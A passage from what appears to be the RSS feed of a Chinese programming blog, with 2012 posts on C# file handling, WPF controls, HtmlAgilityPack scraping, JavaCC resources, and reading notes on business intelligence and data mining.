&lt;pre class=&#34;lang:default decode:true &#34; &gt;ListViewItem.ListViewSubItem lvsi = new ListViewItem.ListViewSubItem();
if (info is FileInfo)
{
lvsi.Text = GetBytesStringKB(((FileInfo)info).Length);
}
else
{
lvsi.Text = &#34;&#34;;
}&lt;/pre&gt; 
&lt;p&gt;当Searcher 线程结束的时候，触发ThreadEnded 事件，因此，MainWindow可以注意到搜索结束，Searcher_ThreadEnded 事件处理句柄使用和Searcher_FoundInfo一样的方式调用Invoke方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private delegate void ThreadEndedSyncHandler(ThreadEndedEventArgs e);
private ThreadEndedSyncHandler ThreadEnded;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.ThreadEnded += new ThreadEndedSyncHandler(this_ThreadEnded);
...
}

...

private void Searcher_ThreadEnded(ThreadEndedEventArgs e)
{
if (!m_closing)
{
this.Invoke(ThreadEnded, new object[] { e });
}
}

private void this_ThreadEnded(ThreadEndedEventArgs e)
{
EnableButtons();
if (!e.Success)
{
MessageBox.Show(e.ErrorMsg,
&#34;Error&#34;,
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation);
}
}&lt;/pre&gt; 
&lt;p&gt;Demo下载
&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=68747&amp;amp;uk=1493685990&#34;&gt;FileSearcher&lt;/a&gt;
许可
本文包括源代码和文件在CPOL下授权&lt;/p&gt;</description>
    </item>
    <item>
      <title>JavaCC入门教程及相关资源</title>
      <link>http://blog.leaver.me/2012/09/27/javacc%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E5%8F%8A%E7%9B%B8%E5%85%B3%E8%B5%84%E6%BA%90/</link>
      <pubDate>Thu, 27 Sep 2012 15:55:32 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/javacc%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E5%8F%8A%E7%9B%B8%E5%85%B3%E8%B5%84%E6%BA%90/</guid>
      <description>&lt;p&gt;今天下午翻译了一篇简单的文章后。就去看JavaCC的东西了。。然后就找到了一篇&lt;a href=&#34;http://www.engr.mun.ca/~theo/JavaCC-Tutorial/javacc-tutorial.pdf&#34;&gt;入门教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后之前我是找到了一篇翻译过来的的&lt;a href=&#34;https://sites.google.com/site/beariceshome/the-javacc-tutorial&#34;&gt;某熊的战略储备基地&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;从头到尾读了一遍英文的。感觉还是英文的写的要好一些。建议对照着翻译看英文。JavaCC也就那么回事。。&lt;/p&gt;
&lt;p&gt;同时在在这目测百慕大群岛的什么工程与应用科学学院找到了一些其他的文档。其中一篇是&lt;a href=&#34;http://www.engr.mun.ca/~theo/JavaCC-FAQ/javacc-screen-faq.pdf&#34;&gt;JavaCC-FAQ&lt;/a&gt;很好。基本上有关JavaCC的问题都有解释。&lt;/p&gt;
&lt;p&gt;在FAQ里，看到了一个关于&lt;a href=&#34;http://www.j-paine.org/jjtree.html&#34;&gt;JJTree&lt;/a&gt;的介绍，写的不错。建议看看。&lt;/p&gt;
&lt;p&gt;还有一个是国外某学校的编译原理课程的&lt;a href=&#34;http://scg.unibe.ch/download/lectures/cc/&#34;&gt;ppt下载&lt;/a&gt;，好象是以JavaCC作为工具的。还没认真看。&lt;/p&gt;
&lt;p&gt;还有一篇&lt;a href=&#34;http://www.cnblogs.com/Gavin_Liu/archive/2009/03/07/1405029.html&#34;&gt;JavaCC 研究与应用&lt;/a&gt;    ，写的平常。不过是中文版的。&lt;/p&gt;
&lt;p&gt;最后。千万不要忘了&lt;a href=&#34;http://javacc.java.net/doc/&#34;&gt;官方文档&lt;/a&gt;。也包括你下载的JavaCC里面的Demo。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#删除文件和文件夹到回收站</title>
      <link>http://blog.leaver.me/2012/09/24/c%23%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E5%88%B0%E5%9B%9E%E6%94%B6%E7%AB%99/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/c%23%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E5%88%B0%E5%9B%9E%E6%94%B6%E7%AB%99/</guid>
      <description>&lt;p&gt;如果使用C#代码来删除文件或是文件夹。会将文件和文件夹直接删除，而不是删除到回收站。可以调用Microsoft.VisualBasic.dll提供的方法。&lt;/p&gt;
&lt;p&gt;首先对项目添加名为Microsoft.VisualBasic.dll的引用，然后添加命名空间&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;using Microsoft.VisualBasic.FileIO;&lt;/pre&gt; 
&lt;p&gt;最后示例代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System;
using Microsoft.VisualBasic.FileIO;
namespace leaver
{
    class Program
    {

        static void Main(string[] args)
        {

            Console.WriteLine(&#34;删除文件到回收站&#34;);
            string filepath = &#34;leaver.txt&#34;;
            FileSystem.DeleteFile(filepath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycleBin);
            Console.WriteLine(&#34;删除文件完成&#34;);

            Console.WriteLine(&#34;删除文件夹到回收站&#34;);
            string dirpath = &#34;leaver&#34;;
            FileSystem.DeleteDirectory(dirpath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycleBin);
            Console.WriteLine(&#34;删除文件夹完成&#34;);
        }
    }
}&lt;/pre&gt; 
&lt;p&gt;很简单。。就不多说了。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF毛玻璃效果Demo和一个问题</title>
      <link>http://blog.leaver.me/2012/09/24/wpf%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9Cdemo%E5%92%8C%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/wpf%E6%AF%9B%E7%8E%BB%E7%92%83%E6%95%88%E6%9E%9Cdemo%E5%92%8C%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;　　那天看到WPF书上讲的毛玻璃效果，就去找了下效果。。忘了例子是从哪发现得了。。先看下效果，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27420_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/638a69761205e3d5c16a5bd34a2f775de190d137.jpg&#34; title=&#34;glass&#34;&gt;&lt;/a&gt;
　　但是这不是重点，作者给出的代码有一个设计时错误。。错误提示为：
无法将类型为“Microsoft.Expression.Platform.WPF.InstanceBuilders.WindowInstance”的对象强制转换为类型“System.Windows.Window”，，&lt;/p&gt;
&lt;p&gt;　　中文搜了一下。没有发现有人解决过。目测。。。然后又拿英文搜了下。几经辗转。。终于是解决了。。原文在&lt;a href=&#34;http://social.msdn.microsoft.com/Forums/is/wpf/thread/931e75a8-cab6-492d-89cd-b7ca291fa273&#34;&gt;Unable to cast XAML error&lt;/a&gt;。其实就是将原作者这个函数修改如下的&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static void OnIsEnabledChanged(DependencyObject obj, DependencyPropertyChangedEventArgs args)
        {

            if ((bool)args.NewValue == true)
            {
                Window wnd = obj as Window;
                if (wnd != null) wnd.Loaded += new RoutedEventHandler(wnd_Loaded);
            }
        }&lt;/pre&gt; 
&lt;p&gt;　　也就是验证了一下转换是否成功。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61615&amp;amp;uk=1493685990&#34;&gt;修改后的RGSamples&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个可定制的WPF任务对话框</title>
      <link>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</link>
      <pubDate>Mon, 24 Sep 2012 08:03:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</guid>
      <description>&lt;p&gt;今天实在看WPF揭秘的时候看到TaskDialog这个控件的。然后就去找了一下开源的代码。在codeproject上发现了这个，非常给力。。另外codeproject改版后很漂亮哦。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27400_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ea5f46934b5478701eb79bb9b9b08381704b7996.jpg&#34; title=&#34;one&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍：&lt;/h3&gt;
&lt;p&gt;这是用WPF实现Vista上TaskDialog效果的代码。&lt;/p&gt;
&lt;h3 id=&#34;messagbox消息框&#34;&gt;Messagbox消息框&lt;/h3&gt;
&lt;p&gt;通过调用重写的静态Show方法。TaskDialog就会表现的像一个Messagebox。他有四个文本类型的属性：Header（头部）, Content（内容）, Detail（更多）, 和 Footer（底部），其实Detail是一个折叠的区域， 而Header和Footer还有一个icon属性（HeaderIcon和FooterIcon），除此之外，Header还有Background（背景）和Foreground（前景）属性&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog.Show方法签名
public static TaskDialogResult Show(
    string title, 
    string header, 
    string content, 
    string detail, 
    string footer, 
    TaskDialogButton button, 
    TaskDialogResult defaultResult, 
    TaskDialogIcon headerIcon, 
    TaskDialogIcon footerIcon, 
    Brush headerBackground, 
    Brush headerForeground)

// TaskDialog.Show 方法的一个例子
TaskDialog.Show(&#34;Task Dialog 测试&#34;,
     &#34;消息框的标题文字&#34;,
     &#34;消息框的内容部分. &#34; +
     &#34; 可以自适应内容.&#34;,
     &#34;消息框的细节部分 &#34; +
     &#34;可以自适应内容&#34;,
     &#34;消息框的底部.&#34;,
     TaskDialogButton.Ok,
     TaskDialogResult.None,
     TaskDialogIcon.Information,
     TaskDialogIcon.Shield,
     Brushes.White,
     Brushes.Navy);&lt;/pre&gt; 
&lt;h3 id=&#34;定制taskdialog&#34;&gt;定制TaskDialog&lt;/h3&gt;
&lt;p&gt;使用静态的Show方法。Header, Content, Detail, 和Footer 就限制了只能传递字符串作为值了。
为了定义这个对话框，你先创建TaskDialog类的一个对象，然后分别设置一下各个属性，最后调用Show方法就可以了&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog 实例化例子
TaskDialog dialog = new TaskDialog();
dialog.title: = &#34;TaskDialog example&#34;;
dialog.HeaderIcon = TaskDialogIcon.Warning;
dialog.SystemSound = TaskDialogSound.Exclamation;
// header 属性设置
dialog.Header = &#34;This is the Header.&#34;;
dialog.HeaderBackground = Brushes.DarkGray;
dialog.HeaderForeground = Brushes.White;
// Content, Detail 和 Footer属性设置
dialog.Content = &#34;This is the content&#34;;
dialog.Detail = &#34;This is the detail&#34;;
dialog.Footer = &#34;this is the Footer&#34;;
dialog.Show();&lt;/pre&gt; 
&lt;p&gt;TaskDialog控件派生自HeaderedContentControl类，因为从HeaderedContentControl类可以获得Header和Content属性，TaskDialog仅仅是添加了Detail和Footer属性，这些属性是Object类型，并且有他们自己的template（模板）属性HeaderTemplate, ContentTemplate, DetailTemplate, 和 FooterTemplate)，TaskDialog类对于文本内容有着缺省的数据模板，当然你也可以用那四个模板来替换，这样你就可以以你喜欢的任何方式来格式化文本了。下面这个图展示了通过斜体和下划线来格式化文本。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27401_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/05a7c6d00f37749a2b770d0b1f1ebaab51528de0.jpg&#34; title=&#34;two&#34;&gt;&lt;/a&gt;
图2&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;//为上面这个图的content属性的 DataTemplate 模板 
&amp;lt;DataTemplate x:Key=&#34;_customContentDataTemplate&#34;&amp;gt;
   &amp;lt;TextBlock Text=&#34;{Binding Content, 
        RelativeSource={RelativeSource FindAncestor, 
                        AncestorType={x:Type Controls:TaskDialog}}}&#34; 
        FontStyle=&#34;Italic&#34; 
        TextDecorations=&#34;Underline&#34; 
        TextWrapping=&#34;Wrap&#34;/&amp;gt;
&amp;lt;/DataTemplate&amp;gt;&lt;/pre&gt; 
&lt;p&gt;因为Header，Content，Detail和Footer是object类型，因此不再受到只能是文本的限制了，你可以防止你喜欢的任何类型到TaskDialog，下面这个例子中的TaskDialog是不是很像UAC的提示呢。这里Content属性是一个UserControl类型，放置了一个图片和一些文本还有两个CommandButtons（都是普通的按钮。。不过添加了一些定制的样式，再加了Header属性）&lt;/p&gt;</description>
    </item>
    <item>
      <title>Html解析工具-HtmlAgilityPack</title>
      <link>http://blog.leaver.me/2012/09/22/html%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7-htmlagilitypack/</link>
      <pubDate>Sat, 22 Sep 2012 08:00:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/22/html%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7-htmlagilitypack/</guid>
      <description>&lt;p&gt;这个工具是在暑假的时候发现的。但是最后没用这个工具。不过，这个工具可是非常强悍的。。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://htmlagilitypack.codeplex.com&#34;&gt;HtmlAgilityPack&lt;/a&gt;主要就是解析DOM的。常用的基础类其实不多，对解析DOM来说，就只有HtmlDocument和HtmlNode这两个常用的类，还有一个 HtmlNodeCollection集合类。我给出一个抓取我博客首页文章的例子。看代码可能更清楚一点。你可以去看看压缩包里提供的文档。&lt;/p&gt;
&lt;p&gt;xpath如果自己写表达式比较麻烦。所以我还找到了这个HtmlAgilityPack提供了的一个xpath辅助工具-HAPExplorer。都给出了地址。&lt;/p&gt;
&lt;p&gt;首先看我的例子，抓取我博客的首页文章：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Threading.Tasks;
using System.IO;
using System.Data;
using System.Data.SqlClient;
using HtmlAgilityPack;
namespace leaver
{
    class Program
    {

        static void Main(string[] args)
        {
            HtmlWeb web = new HtmlWeb();
            HtmlDocument doc = web.Load(&#34;http://leaver.me/&#34;);

            HtmlNode node = doc.GetElementbyId(&#34;content&#34;);
            StreamWriter sw = File.CreateText(&#34;leaver.txt&#34;);
            //从根节点选中class=hfeed的节点
            string cfeed = node.SelectSingleNode(&#34;/html[1]/body[1]/div[1]/div[1]/div[2]/div[1]/div[1]&#34;).OuterHtml;

            HtmlNode hfeed = HtmlNode.CreateNode(cfeed);
            foreach (HtmlNode child in hfeed.ChildNodes)
            {
                if (child.Attributes[&#34;id&#34;] == null || child.Attributes[&#34;id&#34;].Value.Substring(0, 2) != &#34;po&#34;)
                    continue;
                HtmlNode hn = HtmlNode.CreateNode(child.OuterHtml);

                Write(sw, String.Format(&#34;标题：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;entry-title\&#34;]&#34;).InnerText));
                Write(sw, String.Format(&#34;日期：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;byline\&#34;]&#34;).InnerText));
                Write(sw, String.Format(&#34;摘要：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;entry-summary\&#34;]&#34;).InnerText));
                Write(sw, &#34;----------------------------------------&#34;);

            }
            sw.Close();
            Console.ReadLine();
        }

        static void Write(StreamWriter writer, string str)
        {
            Console.WriteLine(str);
            writer.WriteLine(str);
        }
    }
}&lt;/pre&gt; 
&lt;p&gt;程序运行结果：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27392_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d2623dbdf85b9caabedb4336e53e1fd67cfc07d6.jpg&#34; title=&#34;result&#34;&gt;&lt;/a&gt;
xpath表达式的具体书写都是需要分析你需要解析的网站源码的。。。。
xpath辅助工具的界面：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27391_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2387485c54eef302fae5ddba1382b6a2092c4b67.jpg&#34; title=&#34;xpath&#34;&gt;&lt;/a&gt;
下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61130&amp;amp;uk=1493685990&#34;&gt;HtmlAgilityPack&lt;/a&gt;
下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61131&amp;amp;uk=1493685990&#34;&gt;HAPExplorer&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第三章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/21/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%89%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 21 Sep 2012 08:16:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/21/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%89%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;&lt;strong&gt;3.数据挖掘&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1定义&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据挖掘是指找寻隐藏在数据中的信息，如趋势。特征及相关性的过程。也就是从数据中发掘信息或知识（Knowledge Discovery in Database）。也有人称之为数据考古学。。记住，它不是一个无所不能的软件或是一种技术，他是一种结合数种专业技术的应用。数据挖掘工具从数据中发掘出个各种假设。但是并不帮你查证。确认这些假设。也不帮你判断这些假设是否有价值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.2数据挖掘的功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.分类（Classification），按照分析对象的属性进行分门别类加以定义。建立类组（Class）。例如划分银行信用申请者的风险属性，使用的技术有决策树（Decision Tree），记忆基础推理（memory-based reasoning）&lt;/p&gt;
&lt;p&gt;　　2.估计（Estimation），根据既有连续性数值的相关属性数据。以获知某一属性未知值。。例如按照信用申请者的教育程度，行为估计其的信用卡缴费量。使用的技术包括相关分析，回归分析及神经网络算法。&lt;/p&gt;
&lt;p&gt;　　3.预测（Prediction）根据对象属性的过去观察值来估计该属性未来值。比如根据顾客过去刷卡消费量来预测其未来刷卡消费量。使用的技术包括回归分析，时间序列分析，神经网络。&lt;/p&gt;
&lt;p&gt;　　4.关联分组（Affinity Grouping）从所有对象决定哪些相关对象放在一起销售。比如那个啤酒和尿不湿。。在客户营销系统上，此功能用来确定交叉销售。。&lt;/p&gt;
&lt;p&gt;　　5.聚类（Clustering)，将异质总体中区分为特征相近的同质类组。目的是将组和组之间的差异辨识出来。并对个别组内相似样本进行挑选。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.3数据挖掘的步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.理解数据和数据所代表的含义（Data Understanding）&lt;/p&gt;
&lt;p&gt;　　2.获取相关知识和技术（Domain Knowledge Acquisition）&lt;/p&gt;
&lt;p&gt;　　3.整合和检查数据（Integration and Checking）&lt;/p&gt;
&lt;p&gt;　　4.去除错误或不一致的数据（Data Cleaning)&lt;/p&gt;
&lt;p&gt;　　5.建模与假设（Model and Hypothesis Development）&lt;/p&gt;
&lt;p&gt;　　6.数据挖掘运行（Running)&lt;/p&gt;
&lt;p&gt;　　7.测试与验证所挖掘的数据（Testing and Verification）&lt;/p&gt;
&lt;p&gt;　　8.解释与使用数据（Interpretation and Use）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.4数据挖掘建模的标准CRISP-DM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　CRISP-DM模型强调完整的数据挖掘过程，不能只针对数据整理、数据呈现、数据分析以及构建模型，还需要对企业的需求问题进行了解，同时，后期对模型进行评价和模型的延伸应用，也是一个完整的数据挖掘过程不可或缺的要素。&lt;/p&gt;
&lt;p&gt;　　CRISP-DM分为六个阶段（phase）和四个层次（level），分别简介如下：&lt;/p&gt;
&lt;p&gt;　　1. 商业理解（Business Understanding）&lt;/p&gt;
&lt;p&gt;　　本阶段主要的工作是要针对企业问题以及企业需求进行了解确认，针对不同的需求做深入的了解，将其转换成数据挖掘的问题，并拟定初步构想。在此阶段中，需要与企业进行讨论，以确定分析者可以对于问题有非常清楚的了解，只有这样才可以正确地针对问题拟定分析过程。&lt;/p&gt;
&lt;p&gt;　　2. 数据理解（Data Understanding）&lt;/p&gt;
&lt;p&gt;　　这部分包含建立数据库与分析数据。在此阶段必须收集初步数据，然后了解数据的内涵与特性，选择要进行数据挖掘所必须的数据，然后进行数据整理及评估数据的质量，必要时再将分属不同数据库的数据加以合并及整合。数据库建立完成后再进行数据分析，找出影响预测最大的数据。&lt;/p&gt;
&lt;p&gt;　　3. 数据预处理（Data Preparation）&lt;/p&gt;
&lt;p&gt;　　此步骤和第二步数据理解是数据处理的核心，这是建立模型之前的最后一步数据准备工作。数据预处理任务很可能要执行多次，并且没有任何规定的顺序。&lt;/p&gt;
&lt;p&gt;　　4. 建立模型（Modeling）&lt;/p&gt;
&lt;p&gt;　　针对已预处理过的数据加以分析，配合各种技术方法加以应用，针对既有数据建构出模型，替企业解决问题；面对同一种问题，会有多种可以使用的分析技术，但是每一种分析技术却对数据有些限制及要求，因此需要回到数据前置处理的阶段，来重新转换需要的变量数据加以分析。&lt;/p&gt;
&lt;p&gt;　　5. 评价和解释（Evaluation）&lt;/p&gt;
&lt;p&gt;　　从数据分析的观点看，在开始进入这个阶段时已经建立了看似是高质量的模型，但在实际应用中，随着应用数据的不同，模型的准确率肯定会变化。这里，一个关键的目的是确定是否有某些重要的商业问题还没有充分地考虑。在这个阶段的结尾，应该获得对数据挖掘结果的判定。&lt;/p&gt;
&lt;p&gt;　　6. 实施（Deployment）&lt;/p&gt;
&lt;p&gt;　　一般而言，创建模型完成并不意味着项目结束。模型建立并经验证之后，可以有两种主要的使用方法。一种是提供给决策人员做参考，由他察看和分析这个模型之后提出行动方案建议；另一种是把此模型应用到不同的数据集上。此外，在应用了模型之后，当然还要不断监控它的效果。&lt;/p&gt;
&lt;p&gt;　　四个层次分别为阶段（phase）、一般任务（generic task）、专项任务（specialized task）、流程实例（process instance）。每个阶段由若干一般任务组成，每个一般任务又实施若干专项任务，每个专项任务由若干流程实例来完成。其中，上两层独立于具体数据挖掘方法，即是一般数据挖掘项目均需实施的步骤（What to do？），这两层的任务将结合具体数据挖掘项目的“上下文”（context）映像到下两层的具体任务和过程。所谓项目的“上下文”是指项目开发中密切相关、需要综合考虑的一些关键问题，如应用领域、数据挖掘问题类型、技术难点、工具及其提供的技术等。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第二章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/20/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%BA%8C%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Thu, 20 Sep 2012 08:47:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/20/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%BA%8C%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;&lt;strong&gt;2.数据仓库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据仓库名字上来看是很好理解的。他与传统的数据库的不同在于。传统的数据库是未经整理后的一大堆数据集。而数据仓库是从数据库中萃取出来。经过整理，规划，建构而成的一个有系统的数据库的子集合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1数据仓库特点：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据仓库的四个特点。&lt;/p&gt;
&lt;p&gt;　　1.面向主题（Subject Orient）。数据建立的着重点就是在于以重要的主题组件作为核心。作为建构的方向。数据需求者只要把谣言觉得相关主题数据，从数据库中攫取，整合之后就可以做研究之用。&lt;/p&gt;
&lt;p&gt;　　2.整合性（Integrated）各应用系统的数据需经过整合。以便利执行相关分析操作&lt;/p&gt;
&lt;p&gt;　　3.长期性（Time Variance） 为了执行趋势的分析。数据仓库系统需保留1-10年的历史数据。这与数据库为日常性的数据有所不同。&lt;/p&gt;
&lt;p&gt;　　4.稳定性（Non-Volatile）数据库可以被随时修改，但数据仓库基本上不会大动。只有内部人员会定期修改。但频率不会太多。也不允许用户做更新的动作。&lt;/p&gt;
&lt;p&gt;　　由于以上的几个特点。数据仓库必须通过一连串的程序才可建立。而不是说即买即用。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.2数据仓库架构&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据源-&amp;gt;整体数据仓库-&amp;gt;部门性数据仓库-&amp;gt;查询工具-&amp;gt;终端用户&lt;/p&gt;
&lt;p&gt;　　数据仓库的建设过程：&lt;/p&gt;
&lt;p&gt;　　专业顾问通过与企业进行需求访谈，建立数据仓库的model，然后将企业内各种数据整合到数据库中，并建立前端分析数据的工具以及管理工具，这样的过程即为建立数据仓库的基本过程。&lt;/p&gt;
&lt;p&gt;　　1.设计（Design） 即数据仓库的数据Model设计，这部分是最重要的，若Model设计的不够周全或布里希那个，不管之后的报表设计如何精美，也可能跑出错误的信息。这也是需要有经验的专业顾问建立数据仓库的一个重要原因。&lt;/p&gt;
&lt;p&gt;　　2.整合（Integrate）即数据的整合转换过程，包含数据解释（Data Extraction） ，数据转换（Data Transformation）数据清理（Data Cleaning），数据加载（Data Loading）将各种来源的数据整理，转换并加载数据仓库中，程序编写较为繁杂，自动化处理困难，经常需要人工参与操作，大约占掉该项目60-70%的时间和人力。&lt;/p&gt;
&lt;p&gt;　　3.可视化（Visualize）即前端呈现给用户看的形式，例如数据挖掘（Data Mining） 即OLAP工具，用以呈现分析过的数据形式。&lt;/p&gt;
&lt;p&gt;　　4.调度（Administration）为管理的工具。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.3建立数据仓库的原因和目的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　提高企业的竞争能力，降低成本，提高客户满意度。创造利润。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第一章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/19/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%80%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 19 Sep 2012 08:00:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/19/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%80%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;　　1.绪论&lt;/p&gt;
&lt;p&gt;　　商务智能的含义就是指通过企业所拥有的数据和数据仓库的汇总，结合联机分析及数据挖掘技术挖掘出潜藏在数据库中的有用信息，并将其提供给决策者或部门主管作为平时运营的决策依据。而当企业面临危机时或必须立即做出重大决策时，也能依据数据仓库所提供的正确数据及时作出正确的决策。协助企业顺利解决问题。化危机为转机。更可见商务智能的重要性。&lt;/p&gt;
&lt;p&gt;　　商务智能应用的几个方面&lt;/p&gt;
&lt;p&gt;　　对于一般企业来说，商务智能主要应用在以下几个方面。1.了解运营状况，2.衡量绩效。3.改善关系。4.创造获利机会。&lt;/p&gt;
&lt;p&gt;　　企业引用商务智能的流程&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27358_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;流程图&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　商务智能的核心：根据企业数据库整合成可以作为分析用的数据仓库。再进一步通过分析技术来探索数据。&lt;/p&gt;
